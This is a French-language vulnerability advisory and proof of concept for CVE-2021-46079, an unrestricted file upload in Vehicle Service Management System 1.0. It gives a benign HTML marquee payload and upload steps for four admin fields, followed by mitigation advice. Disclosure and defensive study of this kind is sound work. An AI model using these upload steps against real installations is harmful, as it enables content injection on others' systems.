CVE-2021-46079
Titre de l'exploit : Vehicle Service Management System - Le téléchargement de fichiers « multiple » conduit à une injection HTML
Auteur de l'exploit : SANU P.L
CVE: CVE-2021-46079
CVSS: 7.2 HIGH
Références :
Description :
Une vulnérabilité de téléchargement de fichiers sans restriction existe dans Sourcecodester Vehicle Service Management System 1.0. Un attaquant distant peut télécharger des fichiers malveillants, ce qui conduit à une injection HTML.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit :
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section My Account http://localhost/vehicle_service/admin/?page=user
Payload :
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Enregistrez le code HTML ci-dessus, par exemple : Html Injection.html
- Dans la section My Account, saisissez toutes les informations requises et sélectionnez le fichier HTML dans le champ Avatar.
- Cliquez sur le bouton Update.
- Ouvrez l'image de l'avatar dans un nouvel onglet.
- L'injection HTML est exécutée.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit :
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section User List et cliquez sur le bouton Create New.
Payload :
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Enregistrez le code HTML ci-dessus, par exemple : Html Injection.html
- Dans la page Create New User, saisissez toutes les informations requises et sélectionnez le fichier HTML dans le champ Avatar.
- Cliquez sur le bouton Save.
- Ouvrez l'image de l'avatar dans un nouvel onglet.
- L'injection HTML est exécutée.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Payload :
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section Settings http://localhost/vehicle_service/admin/?page=system_info
Payload :
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Enregistrez le code HTML ci-dessus, par exemple : Html Injection.html
- Dans la section Settings, saisissez toutes les informations requises et sélectionnez le fichier HTML dans le champ System Logo.
- Cliquez sur le bouton Update.
- Ouvrez l'image System Logo dans un nouvel onglet.
- L'injection HTML est exécutée.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit :
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section Settings http://localhost/vehicle_service/admin/?page=system_info
Payload :
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Enregistrez le code HTML ci-dessus, par exemple : Html Injection.html
- Dans la section Settings, saisissez toutes les informations requises et sélectionnez le fichier HTML dans le champ Website Cover.
- Cliquez sur le bouton Update.
- Ouvrez l'image Website Cover dans un nouvel onglet.
- L'injection HTML est exécutée.
Impact :
Un attaquant peut télécharger des fichiers malveillants sur plusieurs points de terminaison, ce qui entraîne une injection HTML.
Mesures d'atténuation :
Il est recommandé de mettre en œuvre les mesures suivantes :
- N'acceptez jamais un nom de fichier et son extension directement sans disposer d'un filtre de liste blanche.
- S'il n'est pas nécessaire de prendre en charge les caractères Unicode, il est fortement recommandé de n'accepter que des caractères alphanumériques et un seul point comme entrée pour le nom du fichier et l'extension.
- Limitez la taille du fichier à une valeur maximale afin de prévenir les attaques par déni de service.
- Le répertoire de téléchargement ne doit avoir aucune permission « execute ».
- Ne vous fiez pas uniquement à la validation côté client.